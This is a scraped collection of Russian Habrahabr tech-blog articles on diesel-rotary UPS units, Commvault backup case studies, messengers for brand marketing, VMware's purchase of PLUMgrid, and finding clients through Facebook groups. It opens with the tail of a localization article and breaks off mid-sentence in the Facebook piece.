продукты для их улучшения. Но в этом случае всегда необходимо принимать готовность к локализации во внимание. Это означает, что все компоненты, которые вы покупаете у третьей стороны должны быть готовы к локализации, а лучше – уже локализованы на нужные вам языки. С развитием интернета вещей (IoT) и ростом числа «умных» устройств, с которыми мы сталкиваемся в быту, на транспорте и на работе, потребности в локализации также растут, в этой ситуации стоит обратить внимание и на готовые и проверенные временем решения для локализации и монетизации ПО (англ.), использование которых может дать серьезное преимущество перед конкурентами при выходе на новые рынки – как по времени, так и по затратам – и упрочить свою репутацию.
https://habrahabr.ru/company/gemaltorussia/blog/318186/
habrahabr
Динамические ИБП: история одного инженерного апгрейда очень в духе времени
['ДДИБП', 'Hitec', 'дизель', 'энергопитание', 'питание', 'ЦОД', 'дата-центр', 'ДГУ', 'динамический источник', 'бронепоезд']
Сейчас расскажу про эволюцию устройства, изначально предназначенного для обеспечения питания военных дата-центров по всему миру. Вот такой: Новое поколение, «бронепоезд» на жаргоне. Справа...
Сейчас расскажу про эволюцию устройства, изначально предназначенного для обеспечения питания военных дата-центров по всему миру. Вот такой: Новое поколение, «бронепоезд» на жаргоне. Справа наша давняя мечта — решётка, чтобы крыс не засасывало. Технология родилась примерно в тот же период, что и ядерная бомба, поэтому она простая и понятная, как автомат Калашникова. Берём огромный железный волчок, раскручиваем электромотором. После преодоления инерции покоя тяжеленная железка крутится почти без трения. Отрубается питание — железка начинает сама крутить электромотор, который её запускал, и тем самым преобразует свою кинетическую энергию в электрическую некоторое время, пока не остановится. За это время успевает запуститься дизель. Старые советские ДДИБП, которые стояли на Байконуре, принципиально не отличаются от своих современных аналогов. Те же волчки, те же дизели. Но есть масса полезных нюансов. Вот о них и о том, как вообще эволюционирует такое «кондовое» железо, и поговорим. Предыдущее поколение Маховик ДДИБП состоит из трёх основных частей: Тяжеленного маховика — накопителя энергии, вращающегося на точно выровненной оси. Электромотор раскручивает его и поддерживает вращение. Синхронного генератора, который вращается либо от волчка (постоянно равномерно), либо от сети (в этом случае он становится мотором), либо от работы дизельного двигателя, который запускается сразу после отключения городского питания и через 2–4 секунды «подхватывает» вращение. Дизельного двигателя. Начиналась история ДДИБП с небольших мощностей. С годами мощности росли, увеличивались габариты, появлялись сложности с перевозкой. Производитель начал отрабатывать технологии перевозки ДДИБП, и машины начали разделять на модули. Так появилась современная архитектура из трёх модулей, соединяемых через муфты, что очень упростило их доставку. В зависимости от пожеланий заказчика количество соединений между модулями меняется. Железка имеет ряд совершенно не относящихся к основной технологии улучшений. И эти улучшения несколько меняют профиль использования устройства. Перекомпоновка Начну с самого главного. Самый большой геморрой этих систем был в том, что регулярного обслуживания и замены подшипников требовал модуль с маховиком, поскольку он наиболее подвержен механическому износу из-за постоянного движения. Этот модуль, к нашему огромному сожалению, располагался в середине устройства. Складывалось впечатление, что у наших голландских друзей на большей части объектов, видимо, ДДИБП ставятся в помещения типа ангаров и спокойно гудят в углу. И если им надо вытащить средний модуль, они подгоняют кран и выдёргивают его, как морковку из грядки. В случае России расположение изощрённое: это всегда какая-нибудь нора — очень большая, но по факту нора. Так что нужен балочный кран или какое-то ещё устройство. Накопитель вообще не ремонтируют на месте, для этого нужно дополнительное оборудование. Обычно привозят и ставят новый, а тот, что был, увозят на завод. И там уже с ним ковыряются всерьёз. Сложность заключается в том, что перед тем как выдернуть, модуль нужно отсоединить с двух сторон. От генератора и от двигателя. Это занимает около 4–5 часов. И потом, после ремонта, нужно обратно всё смонтировать, и это тоже непросто. При сборке нужно отрегулировать положение каждого блока относительно друг друга. Иногда всё бывает ещё веселее, если дизель-динамический источник поставят в помещение, куда не может подъехать кран… Для последней машины инженеры продумали такую архитектуру, при которой маховик оказался в крайнем модуле, а не в среднем. Это очень-очень скажется на обслуживании и сократит трудоёмкость работ. Обслуживание На одном из наших монтажей заказчик не проводил техническое обслуживание почти два года. В частности, не смазывал устройство в местах вращения. По логике оно должно было выйти из строя через несколько месяцев, но проработало сильно дольше, чем мы бы хотели. Почему? Потому что если бы оно остановилось сразу, мы бы просто смазали и провели мелкую профилактику. Но нет, железка доказала, что слова про военное использование — не пустой звук. И с «хрустом и скрипами» работала ещё полтора года без смазки. Щётки тоже не меняли, они стёрлись просто до мяса, до самого железа основы. Только тогда генератор остановился. Надо сказать, что индикация отсутствия смазки и отсутствия ТО выглядит в прошлом поколении как маленькая красная лампочка на приборной панели. В новом поколении система самодиагностики выводит обобщённый результат прямо на кожух: Видите подсветку? Она тут не только для дизайна, но и работает как система индикации результатов самодиагностики. Если бы она мигала красным всё время, наверное, заказчик заметил бы, что с машиной что-то не так. Это, кстати, общая тенденция — делать индикацию понятной без специальных знаний. Но в данном случае потребность в дизайне была очень важна голландским парням тоже, и поэтому кожух такой интересный на вид. Дело в том, что заказчикам в Европе (и США) важен презентабельный вид машин. Расскажу нашу историю, чтобы было понятнее, о чём речь. Смонтировали заказчику две машины (основная и резерв), сдача-приёмка, красота, всё подписано. Выглядели они вот примерно так: Заказчик в конце подходит и говорит: — Мужики, а можно вот тут и тут светодиодную ленту приклеить? Мы ему: — Зачем? — Ну, столько денег вбухано. Завтра журналисты приедут, чиновники. Не поверят, что вот эти коробочки столько стоят. Давайте светодиодов приклейте, чтобы машины космически выглядели. Мы, конечно, приклеили. И светодиоды, и фотонные отражатели. Но, как легко догадаться, космически они выглядеть от этого не стали. Скорее, как казино. Чиновники посмотрели, понравилось. А вот новые хай-тековские «бронепоезда» сразу впечатляют. Возвращаясь к истории с отсутствием обслуживания. Как выяснилось, это важный вопрос не только у нас, но и в Европе, поэтому в новых машинах теперь сделана автоматическая смазка. Да и обслуживать теперь куда меньше всего: щётки исключили. Ещё раньше кабели втыкались в несколько десятков разных мест на корпусе и все имели разные разъёмы. Теперь всё одной косой в одну точку, очень легко и приятно. Монтаж в итоге стал как лего: всё отрабатывается на заводе, на месте просто щёлк-щёлк — и собрал. Экологичность В Европе очень важно быть экологичным и экономным. Соответственно, может, это и политический ход со стороны инженеров, но точно очень продуманный. Они переработали систему охлаждения: раньше механическая крыльчатка потребляла мощность постоянно независимо от нагрузки. Теперь охлаждение делается электроприводом так, что можно менять мощность в соответствии с температурным режимом и нагрузкой. Если на улице холодно, а устройство стоит в контейнере снаружи здания — ДДИБП больше не будет зря крутить вентилятором. Много мелких переделок в двигателе. Дроссель «перевернули», другим сечением намотали. Двигатели теперь тоже очень экономичные. Тут всё просто: производитель ДДИБП покупает движки у тех, кто их делает. А двигателистов постоянно ставят в условия, что надо повышать экологичность. Внешние условия Система: Эффективность до 97% Уровень радиопомех класс А (EN 55.011) Степень защиты IP21 или выше Рабочая высота < 150 м над уровнем моря Внешняя температура 5–40 ◦C (41–104 F) На примерно тридцатый год эксплуатации голландские инженеры узнали, что в воздухе в других странах может быть мошка, довольно много пыли и другие неприятные вещи. В Европе просто нет столько грязи, сколько у нас после посыпания дорог солью и песком. Теперь, соответственно, в системе вентиляции стоят фильтры. Фильтры входящего дизеля были на машинах давно, но мы всё равно ставим отдельные сепараторы на каждом монтаже. Наше родное ДТ обычно не уступает по качеству иностранному, но голландские инженеры ещё не знают, как можно запросто хапнуть кусок воды из-за того, что обслуживающий персонал или поставщик сэкономит 3 копейки. Поэтому парадоксальный вопрос о том, не зальют ли туда какой-то левак, решается уже нами. Естественно, кожух. Он больше эстетический, нежели функциональный, но и шум снижает. Ну и конечно, решётка безопасности на торце. У них она наверняка несёт какую-то важную эстетическую функцию и защищает руки персонала. У нас она решила одну очень важную и давнюю задачу: теперь входящий поток воздуха не создаёт внутри машины крысиную дисперсию. Ремонт У меня уже больше 5 лет опыта эксплуатации таких машин, и могу сказать, что и старые, и новые Хай-теки очень хорошо ремонтируются, причём часто даже без замены модулей. Всё продумано, надёжно, с хорошим запасом по прочности. Последнее было сюрпризом, потому что мы привыкли, что если на европейской железке заявлен срок бесперебойной работы, то инцидент случается на следующей неделе после окончания этого срока. У нас в офисе у самих 4 таких ДДИБП уже несколько лет, просто завезли и поставили. Но на другой городской объект монтировали мы их с огромным интересом. На площадку их надо было передавать краном, а рядом всё было закрыто стройкой. В итоге один кран цеплял устройство с борта, передавал второму строительному, а он уже отдавал нашему третьему, которым делался монтаж. Водители ждали разгрузки из-за всех согласований очень долго, а мы кормили их пиццей и носили обогреватели. Итог Если вам нужно нормальное электропитание без скачков и перебоев — от 1 МВт ДДИБП не имеют равных. Обычно их ставят на ЦОДы, часто — в промышленности, на критичных производствах, в ситуационные и экстренные центры. В общем, всё то, что имеет высокие требования к неразрывности питания. Если ваше железо переживает полусекундный разрыв без того, чтобы брикнуться или за 20–30 секунд без питания ничего страшного не случится, то платить за ДДИБП столько не надо — проще обойтись обычной ДГУ в этом диапазоне. Вот так это выглядит: переключение Ссылки Особенности монтажа, схема и фотографии крана Энергоцентры с тригенерацией для ЦОДов
https://habrahabr.ru/company/croc/blog/318184/
habrahabr
Резервное копирование с помощью Commvault: немного статистики и кейсов
['commvault', 'резервное копирование', 'бэкап', 'бэкап базы данных', 'дедупликация', 'dataline']
В предыдущих постах мы делились инструкциями по настройке резервного копирования и репликации на базе Veeam. Сегодня мы хотим рассказать про резервное копирование средствами Commvault. Инструкций...
В предыдущих постах мы делились инструкциями по настройке резервного копирования и репликации на базе Veeam. Сегодня мы хотим рассказать про резервное копирование средствами Commvault. Инструкций не будет, зато расскажем, что и как уже бэкапят наши клиенты. СХД системы резервного копирования на базе Commvault в дата-центре OST-2. Как это работает? Commvault – это платформа для резервного копирования приложений, баз данных, файловых систем, виртуальных машин и физических серверов. Исходные данные при этом могут быть на любой площадке: у нас – на стороне клиента, в другом коммерческом дата-центре или облаке. Клиент устанавливает на объекты резервного копирования агент – iData Agent – и настраивает его в соответствии с требуемыми политиками бэкапа. iData Agent собирает необходимые данные, сжимает, дедуплицирует, шифрует и передает их в систему резервного копирования DataLine. Proxy-серверы обеспечивают связность клиентской сети и нашей сети, изоляцию каналов, по которым передаются данные. На стороне DataLine данные от iData Agent принимает Media Agent Server и отправляет на хранение на СХД, ленточные библиотеки и пр. Всем этим управляет CommServe . В нашей конфигурации основной управляющий сервер находится на площадке OST, резервный – на площадке NORD. По умолчанию данные клиента складываются на одну площадку, но можно организовать резервное копирование сразу на две локации или настроить расписание по переносу бэкапов на вторую площадку. Эта опция называется “дополнительная копия данных” (auxiliary copy). Например, все полные бэкапы в конце месяца будут автоматически дублироваться или переезжать на вторую площадку. Схема работы системы резервного копирования Commvault. Система резервного копирования работает преимущественно на виртуализации VMware: на виртуальных машинах развернуты серверы CommServe, Media Agent и Proxy-серверы. Если клиент использует наше оборудование, то бэкапы размещаются на СХД Huawei OceanStor 5500 V3. Для резервного копирования клиентских СХД, хранения бэкапов на ленточных библиотеках используются отдельные Media Agent на физических серверах. Что важно клиентам? Из нашей практики клиенты, которые для резервного копирования выбирают Commvault, обращают внимание на следующие моменты. Консоль. Клиенты хотят управлять резервным копированием самостоятельно. В консоли Commvault доступны все основные операции: добавление и удаление серверов на резервное копирование; настройка iData Agent; создание и ручной запуск заданий; самостоятельное восстановление резервных копий; настройка оповещений о статусе задач резервного копирования; разграничение доступа к консоли в зависимости от роли и группы пользователей. Дедупликация. Дедупликация позволяет находить и удалять повторяющиеся блоки данных в процессе резервного копирования. Таким образом она помогает экономить место на СХД и уменьшает объем передаваемых данных, снижая требования к скорости канала. Без дедупликации, резервные копии занимали бы объем в два-три раза превышающий объем исходных данных. В случае с Commvault дедупликацию можно настроить на стороне клиента или на стороне Media Agent. В первом случае неуникальные блоки данных даже не будут передаваться на Media Agent Server. Во втором повторяющийся блок отбрасывается и не записывается на СХД. Такая блочная дедупликация основана на хэш-функциях. Каждому блоку присваивается хэш, который сохраняется в хэш-таблице, своего рода базе данных (Deduplication Database, DDB). При передаче данных хэш “пробивается” по этой базе. Если такой хэш уже есть в базе, то блок помечается как неуникальный и не передается на Media Agent Server (в первом случае) или не записывается на систему хранения данных (во втором). Благодаря дедупликации нам удается экономить до 78% места в системе хранения. Сейчас на СХД хранится 166,4 ТБ. Без дедупликации нам пришлось бы хранить 744 ТБ. Возможность разграничивать права. В Commvault есть возможность устанавливать разные уровни доступа к управлению резервным копированием. Так называемые “роли” определяют, какие действия будут разрешены пользователю по отношению к объектам резервного копирования. Например, разработчики смогут только восстанавливать сервер с базой данных в определенное место, а администратор сможет запускать внеочередное резервное копирование для этого же сервера, добавлять новых пользователей. Шифрование. Шифровать данные во время резервного копирования через Commvault можно следующими способами: на стороне клиентского агента: данные в этом случае будут передаваться в систему резервного копирования уже в зашифрованном виде; на стороне Media Agent; на уровне канала: данные шифруются на стороне клиентского агента и расшифровываются на Media Agent Server. Доступные агоритмы шифрований: Blowfish, GOST, Serpent, Twofish, 3-DES, AES (рекомендуемый Commvault). Немного статистики На середину декабря с помощью Commvault у нас бэкапятся 27 клиентов. Большую часть из них составляют ритейлеры и финансовые организации. Общий объем исходных данных копии занимает 65 ТБ. В день выполняется около 4400 заданий. Ниже статистика по выполненным заданиям за последние 16 дней. Больше всего через Commvault бэкапят Windows File System, SQL Server и базы данных Exchange. А теперь обещанные кейсы. Хоть и обезличенные (NDA передает привет :)), но они дают представление, для чего и как клиенты используют бэкап на базе Commvault. Ниже представлены кейсы по клиентам, которые используют единую систему резервного копирования, т. е. общие ПО, Media Agent Servers и системы хранения. Кейс 1 Заказчик. Российская торгово-производственная компания кондитерского рынка с распределенной сетью филиалов по России. Задача. Организация резервного копирования для баз данных Microsoft SQL, файловых серверов, серверов приложений, почтовые ящики Exchange Online. Исходные данные располагаются в офисах по всей России (более 10 городов). Бэкапить нужно на площадку DataLine с последующим восстановлением данных в любой из офисов компании. При этом клиент хотел полного самостоятельного управления с разграничением доступа. Глубина хранения – год. Для Exchange Online – 3 месяца для оперативных копий и год для архивов. Решение. Для баз данных была настроена дополнительная копия на вторую площадку: последний полный бэкап месяца переносится на другую площадку и хранится там год. Качество каналов из удаленных офисов клиента не всегда позволяло делать бэкап и восстановление в оптимальные сроки. Чтобы уменьшить объем передаваемого трафика, на стороне клиента была настроена дедупликация. Благодаря ей время полного резервного копирования стало приемлемым с учетом удаленности офисов. Например, полный бэкап базы данных объемом 131 ГБ из Санкт-Петербурга делается за 16 минут. Из Екатеринбурга база данных 340 ГБ бэкапится 1 час 45 минут. С помощью ролей клиент настроил для своих разработчиков разные разрешения: только на резервное копирование или восстановление. Кейс 2 Заказчик. Российская сеть магазинов детских товаров. Задача. Организация резервного копирования для: высоконагруженного кластера MS SQL на базе 4 физических серверов; виртуальных машин с сайтом, серверами приложений, 1С, Exchange и файловыми серверами. Вся указанная инфраструктура клиента разнесена между площадками OST и NORD. RPO для SQL-серверов – 30 минут, для остальных – 1 сутки. Глубина хранения – от 2 недель до 30 дней в зависимости от типа данных. Решение. Выбрали сочетание решений на базе Veeam и Commvault. Для файлового резервного копирования из нашего облака используется Veeam. Сервера баз данных, Active Directory, почтовые и физические сервера бэкапятся через Commvault. Для достижения высокой скорости резервного копирования клиент выделил на физических серверах с MS SQL отдельный сетевой адаптер под задачи бэкапа. Полный бэкап базы данных объемом 3,4 ТБ занимает 2 часа 20 минут, а полное восстановление – 5 часов 5 минут. У клиента был большой объем исходных данных (почти 18 ТБ). Если складывать данные на ленточную библиотеку, как клиент это делал ранее, то потребовалось бы несколько десятков картриджей. Это усложнило бы менеджмент всей системы резервного копирования клиента. Поэтому в итоговой реализации ленточная библиотека была заменена на СХД. Кейс 3 Заказчик. Сеть супермаркетов в СНГ Задача. Заказчик хотел организовать резервное копирование и восстановление SAP-систем, размещавшихся в нашем облаке. Для баз данных SAP HANA RPO=15 минут, для виртуальных машин с серверами приложений RPO=24 часа. Глубина хранения – 30 дней. В случае аварии RTO=1 час, для восстановления копии по запросу RTO=4 часа. Решение. Для БД HANA было настроено резервное копирование DATA-файлов и Log-файлов c заданной периодичностью. Log-файлы архивировались каждые 15 минут или при достижении определенного размера. Чтобы уменьшить время восстановления БД, мы настроили двухуровневое хранение бэкапов на базе СХД и ленточной библиотеки. На диски складываются оперативные копии с возможностью восстановления на любой момент в течение недели. Когда бэкап становится старше 1 недели, он перемещается в архив, на ленточную библиотеку, где хранится еще 30 дней. Полный бэкап одной из баз данных объемом 181 ГБ делается за 1 час 54 минуты. При настройке резервного копирования использовался backint интерфейс SAP, позволяющий интегрировать системы резервного копирования сторонних разработчиков с SAP HANA Studio. Поэтому резервным копированием можно управлять напрямую из консоли SAP. Это упрощает жизнь SAP-администраторам, которым не нужно привыкать к новому интерфейсу. Управление резервным копированием также доступно клиенту через стандартную клиентскую консоль Commvault. На сегодня все. Задавайте вопросы в комментариях.
https://habrahabr.ru/company/dataline/blog/318188/
habrahabr
Мессенджеры для брендов
['маркетинг', 'приложение', 'брендинг', 'кто в метро', 'мессенджер', 'метро', 'метрополитен', 'мессенджеры', 'общение в интернете']
Он-лайн мессенджеры не просто закрепились в мобильных устройствах, но и уже начинают вытеснять соцсети. Придаст ли это новый виток развития маркетинговых механизмов? Какие возможности для бизнеса...
Он-лайн мессенджеры не просто закрепились в мобильных устройствах, но и уже начинают вытеснять соцсети. Придаст ли это новый виток развития маркетинговых механизмов? Какие возможности для бизнеса дают мессенджеры? Будет ли реклама в мессенджерах эффективнее, чем в соцсетях? Потребители в возрасте 20-35 лет — самая сложная и интересная для маркетологов целевая аудитория. Группа которая формирует новые тренды каждый день, возносит бренды до небес и роняют вниз сразу же, как-только появляется, что-то новое. Своей переменчивостью они вводят маркетологов в заблуждение. VK и Facebook больше не способны удерживать их внимание слишком долго. Важность соц сетей падает. И мессенджеры играют не последнюю роль в этом процессе. Как видно из графика, мессенджеры не просто закрепились в мобильных устройствах, но и уже начинают вытеснять соцсети. По оценкам J’son & Partners Consulting, в России мессенджерами пользуются почти 60% обладателей смартфонов, что составляет 50–60 млн человек. В лидерах WhatsApp и Viber с ежемесячной активной аудиторией в 30-50 млн человек. Сильно отстают по показателям Skype, Facebook Messenger и остальные. Подавляющий сегмент пользователей – поколение Y (родившиеся после 1981 г.,) и Z (поколение родившихся в ранних 2000-х). Характеризуются глубокой вовлеченностью в цифровые технологии. Избалованные интернетом и самыми быстрыми удобными каналами коммуникации, эти пользователи хотят получать все и сразу. “Почему нельзя написать в банк, чтобы оплатить счет? Хочу отправлять сообщения в автовокзал, торговый центр или местную пекарню! Почему до сих пор нельзя обсудить условия акции на аттракционы и меню он-лайн, чтобы зарезервировать 5 катаний и бургер к 6 часам, пусть даже с небольшой комиссией.“ В сфере b2c в условиях кризиса и конкуренции для успеха на рынке нужно быть как можно лояльным к аудитории. Мессенджеры для брендов это прямой путь в ладони потребителей и это вполне возможный вариант развития маркетинговых коммуникаций на ближайшие 2-3 года. Новый инструмент для продвижения Аудитория Whatsapp, Viber, Snapchat и т.п. это гигантский рынок, монетизация которого была лишь вопросом времени. Пока мы видим в социальных сервисах, по большому счёту, лишь рекламу товаров и услуг через личные сообщения. Это почти всегда навязчиво и неприятно для пользователя. Да и приложения сами стараются бороться с такой формой продвижения. При получении нежелательного сообщения можно заблокировать номер или обратиться в ФАС, и отправитель может быть оштрафован. Люди инстинктивно пытаются сделать окружающие вещи универсальными и удобными: карандаш с ластиком, ножик с открывалкой, телефон с фотоаппаратом. Также и мессенджеры имеют потенциал расширить свой функционал. Пример тому — WeChat с миллиардом пользователей по всему миру. Которые могут оплачивать мобильную связь, такси, покупать продукты, авиа и ж/д билеты, а также совершать денежные переводы, и брать кредиты. Возможности для бизнеса Указав на корпоративном сайте наличие возможности заказать услугу или спросить совета через популярные мессенджеры, можно гарантированно увеличить количество откликов. Написать проще, чем дожидаться ответа оператора, что порой долго и мучительно. К тому же многие клиенты охотнее воспользуются приложением, чем потратятся на междугородний звонок. Уже сейчас через мессенджер рекламодатель может “ненавязчиво” напомнить о себе. Так, например, пользователи Viber могут обмениваться стикерами. Бренды оплачивают особые «стикер-пакеты» с элементами своего фирменного стиля, пользователи бесплатно устанавливают стикеры и рассылают друг другу. Также в Viber представлен сервис для бизнеса — “паблик аккаунты”. Это возможность для брендов общаться через социальные каналы с потенциальной аудиторией один на один. Паблик аккаунты предназначены для рассылки новостей и специальных предложений через систему CRM в личной беседе или с помощью чат-ботов. Также, в паблик-аккаунтах есть сервисы для поиска брендов, прямая интеграция в программный интерфейс Viber и коммуникация через паблик чаты. Первыми компаниями, запустившими этот сервис стали Яндекс, телеканал Weather Channel, издание Huffington Post В Facebook Messenger, в скором времени, может появиться новостная лента от официальных СМИ. Также стало известно о планах Facebook привлечь авиакомпании для показа объявлений о туристических рейсах. Кроме того уже давно с успехом работает интеграция Uber в Facebook. Тренды Всё больше экспертов связывают будущее приложений с дифференциацией по функционалу под нужды определенных сообществ. Недавно на весь интернет прогремела новость о проведении конкурса на создание мессенджера для госструктур, чтобы у чиновников была возможность коммуникации по рабочим вопросам с высокой степенью информационной безопасности. Сервис будет иметь справочник контактных данных всех госслужащих и иерархическую систему коммуникации. Также, в 2015 году было запущено приложение для общения в московском метро. Сейчас это сервис для общения между пассажирами, но в дальнейшем этот канал коммуникации может стать полезен и самому метрополитену. Администрация метро может получать обратную связь он-лайн от пассажиров. Это могло бы улучшить сервис в метро, а также так повысить уровень безопасности метрополитена. Тенденции развития сферы социальных интернет сервисов говорят о том, что в скором времени стоит ожидать мессенджеры, объединяющие сообщества по интересам : посетителей ресторанов, кинотеатров, болельщиков больших футбольных клубов, любителей исторической реконструкции. И получат они популярность и аудиторию за счёт объединения вокруг любимого бренда, удобного и простого интерфейса, полезных функций, и отсутствия лишних людей. И конечно, ненавязчивой, но манящей, монетизацией.
https://habrahabr.ru/post/317932/
habrahabr
«Предновогодний шоппинг»: VMware приобрели SDN-стартап PLUMgrid
['ит-град', 'vmware', 'PLUMgrid']
VMware произвела предновогоднюю покупку. Стало известно, что гигант виртуализации приобрел стартап PLUMgrid, занимающийся технологиями программно-определяемых сетей. Компания PLUMgrid была...
VMware произвела предновогоднюю покупку. Стало известно , что гигант виртуализации приобрел стартап PLUMgrid, занимающийся технологиями программно-определяемых сетей. Компания PLUMgrid была основана в 2011 году выходцами из Cisco Systems, чтобы помочь компаниям справиться с растущим количеством трафика, проходящим через инфраструктуру. Команда разработчиков создала систему управления, которая автоматизирует сетевые операции, одновременно упрощая процесс аппаратного расширения. / Flickr / Bruno Cordioli / CC Одним из компонентов платформы PLUMgrid является технология IO Visor , которую стартап передал The Linux Foundation в прошлом году. Она дает возможность производить переключение пакетов и выполнять другие сетевые задачи, используя обычные серверы вместо дорогостоящего оборудования. Более того, внедрение новой функции не требует перезагрузки сервера, что позволяет клиентам перепрограммировать аппаратное обеспечение в динамическом режиме по мере изменения требований среды. «Программируемость — это ключ к добавлению новых функций и увеличению прозрачности работы сетей», — говорит Мартин Иззард (Martin Izzard), генеральный директор Barefoot Networks. IO Visor решает вопрос с виртуализацией ядра Linux. Поскольку оно «общается» напрямую с аппаратным обеспечением, таким как память и CPU, ядро способно обеспечить большую производительность, чем пользовательское пространство. Термин невиртуализованный в применении к ядру означает, что оно может обрабатывать только один запрос одновременно. Чтобы обработать новый запрос — новый IO-модуль — приходится рекомпилировать ядро. IO Visor позволяет упростить процедуру добавления виртуальных машин. Это возможно благодаря работе с Berkeley Packet Filter (BPF), который фильтрует пакетные данные. Теперь концепция виртуализации сетевых функций (NFV) позволяет запустить несколько виртуальных сетевых функций (VNF) на одном ядре. Источник: TechCrunch Также IO Visor представляет собой хорошую платформу для построения распределенных систем мониторинга и слежения за приложениями. Он позволяет отслеживать состояние интерфейсов и трафика в реальном времени. Затем разработчики смогут строить приложения на основании этих данных, превращая цифры в графики, отражающие «здоровье инфраструктуры». Также решение предоставляет возможности по обеспечению безопасности. Представьте виртуальные брандмауэры и системы предотвращения вторжений, автоматически загружающиеся в ядро, без необходимости его повторной сборки. «Решение позволяет инженерам и администраторам работать с системой в режиме реального времени и забыть о парадигме «старт-стоп-перезагрузка», — отмечает Лорен Куни (Lauren Cooney), старший директор по реализации программных стратегий в Cisco. Таким образом, IO Visor позволяет построить полную виртуальную сеть, распределенную по нескольким вычислительным узлам, где ядро выполняет всю обработку данных. Найти и самостоятельно изучить решение IO Visor Project вы можете в репозитории на GitHub. Стоит отметить, что VMware не получит права на IO Visor, поскольку она распространяется по открытой лицензии. Однако компания приобретает другие платформы PLUMgrid. Решение Open Networking Suite обещает упростить управление средами на OpenStack, а другая система — Container Networking Suite, предлагает схожие возможности для контейнеризованных приложений. Наконец, PLUMgrid занималась разработкой инструмента мониторинга CloudApex, который даст организациям возможность наблюдать за состоянием сетей в реальном времени. Графическая оболочка решения отображает используемые ресурсы и позволяет быстро выявить проблемы с помощью встроенных аналитических функций. С решениями от PLUMgrid компания VMware надеется улучшить свою SDN-платформу NSX. При этом гигант виртуализации отмечает , что сотрудники PLUMgrid продолжат трудиться над своими детищами. Выпуски нашего IaaS-дайджеста на Хабре: Знакомство с виртуальной инфраструктурой Трансформация технологий и бизнеса Вопросы применимости облачных технологий Проекты, реализованные в облаке 30 материалов по теме ИБ Виртуализация и «облако»
https://habrahabr.ru/company/it-grad/blog/316290/
habrahabr
Как я использую группы в Facebook для расширения собственного бизнеса
['facebook', 'стратегия', 'планирование', 'smm', 'продвижение', 'формирование стратегии', 'бренд', 'персональный брендинг', 'лидер', 'лидерство', 'эффективная стратегия', 'поиск клиентов']
С момента увольнения прошло меньше года. И сейчас Facebook является для этого частного предпринимателя источником 95% консалтинговой работы. Спустя 11 месяцев после запуска собственного...
С момента увольнения прошло меньше года. И сейчас Facebook является для этого частного предпринимателя источником 95% консалтинговой работы. Спустя 11 месяцев после запуска собственного бизнеса я обнаружила, что полностью загружена, а моя зарплата равняется той сумме, которую я получала, находясь в должности вице-президента маркетингового агентства, которое я оставила. И своим успехом я практически полностью обязана мощи сообществ на Facebook. До этого я использовала Facebook, как и многие другие. Он был для меня инструментом, позволяющим поддерживать связь с друзьями и родными, делиться новостями и отдыхать от работы. Средствами же для развития бизнеса служили LinkedIn и Twitter. Все начало меняться, когда я записалась на тренинг для онлайн-предпринимателей и получила приглашение в группу тренера на Facebook. В тот момент я даже не предполагала, что Facebook станет для меня источником 95% лидов для моего нового дела и приведет ко мне 85% моих нынешних клиентов. Вот как я действовала, чтобы этого добиться. Поиск подходящих сообществ на Facebook Большинство групп для предпринимателей, встречающихся мне на Facebook, носит «приватный» характер. То есть, чтобы получить доступ к ним, вам нужно нажать на кнопку и дождаться одобрения администратора. Не пугайтесь этого. В некоторых из таких сообществ существуют базовые требования, обычно касающиеся сферы интересов, области деятельности или характерных признаков, другие же посвящены платным тренингам. К примеру, есть группы для женщин-предпринимателей. А чтобы получить приглашение в другие сообщества, нужно подписаться, скажем, на платную коуч-программу. Да, первая группа, к которой я присоединилась, относилась к последнему виду, но вскоре я получила письмо с предложением вступить в другую, скачав электронную книгу на сайте предпринимателя. Для фрилансеров и индивидуальных предпринимателей вроде меня закрытые группы на Facebook, предлагающие эксклюзивный контент и взаимодействие, получают все более широкое распространение . Ищите упоминания о них в письмах, получаемых после загрузки бесплатных материалов. Впрочем, это не единственный путь. На Facebook работает отличный алгоритм, предлагающий те сообщества, которые могут вам понравиться, нужно лишь начать к ним присоединяться. Зайдя на десктопную версию соцсети и оказавшись на странице любой из групп, вы тут же увидите рекомендации на правой боковой панели. Здесь можно отыскать другие сообщества, участники которых обладают схожими интересами. Основательница Market Like a Nerd, Аманда Голдмэн-Петри, за 30 дней активного участия в группах на Facebook нашла достаточное количество клиентов для персональных тренингов. А за 90 дней получила в качестве аванса 120 тыс. долларов, причем 90% этой суммы принесло ей собственное сообщество все в той же соцсети. Голдмэн-Петри дает 3 важных совета, касающихся поиска подходящих для строительства собственного бизнеса групп. 1. Не вступайте в сообщества своих прямых конкурентов. 2. Сконцентрируйтесь на группах, численность которых варьируется от 500 до 10 тыс. человек. Они достаточно велики, чтобы затраченное время могло окупиться, но не слишком многочисленны — вы не рискуете затеряться. 3. Убедитесь, что члены сообщества действительно активны. Не стоит обращать внимание на площадки, куда люди заходят лишь затем, чтобы оставить рекламный пост. Что делать, очутившись в группе Моя главная ошибка заключалась в том, что я тратила слишком большую часть дня на составление постов и ответы на вопросы. Вам хочется, чтобы вас заметили и начали на вас реагировать, и потому вы очень быстро оказываетесь буквально везде — а это не самая эффективная стратегия . В группах есть строка поиска. Используйте ее, вводя ключевые слова, связанные с вашим продуктом или услугой. К примеру, я искала что-то вроде «реклама», «PR» и «публичные выступления». Если можно так выразиться, я старалась не сворачивать с этой колеи и реагировать лишь на основные для моего бизнеса темы. Это позволяло мне эффективно распределять то время, которое я проводила в группах на Facebook. Есть и еще несколько правил, которые я для себя сформулировала. Активно я участвую лишь в трех собственных группах. В самом начале я вступила примерно в дюжину сообществ, где, как мне казалось, могут «зависать» мои потенциальные клиенты. Позже я в основном лишь тестировала их, чтобы выяснить, какие из них приносят мне наибольшую отдачу. Поскольку до одобрения членства о группе можно сказать совсем немного, сразу после этого момента я берусь за просмотр ленты основных новостей. Это позволяет мне составить первое впечатление о том, действительно ли данное сообщество может оказаться хорошим местом для поиска клиентов. К примеру, однажды я очутилась в группе с милыми женщинами, но оказалось, что львиная доля из них участвует в сетевом маркетинге. Они явно не вписывались в портрет потребителей моих услуг, и потому я тихо покинула эту группу. Если после просмотра дюжины постов становится понятно, что сообщество мне подходит, я создаю собственное сообщение, в котором рассказываю о себе и своем бизнесе, а затем оцениваю отклики. Если люди оставляют позитивные комментарии и задают вопросы, то это означает, что здесь стоит приложить еще немного усилий. Итак, по ключевым словам я нахожу группу и вступаю в беседу на нескольких ветках. Также каждые несколько дней я пишу посты, так или иначе связанные с моим бизнесом, и пытаюсь чему-то научить аудиторию — или просто стараюсь приносить пользу любым из доступных мне способов. Например, даю несколько советов, касающихся мест, где можно найти свою первую работу, связанную с выступлениями. Какими должны быть результаты Что происходит после того, как я 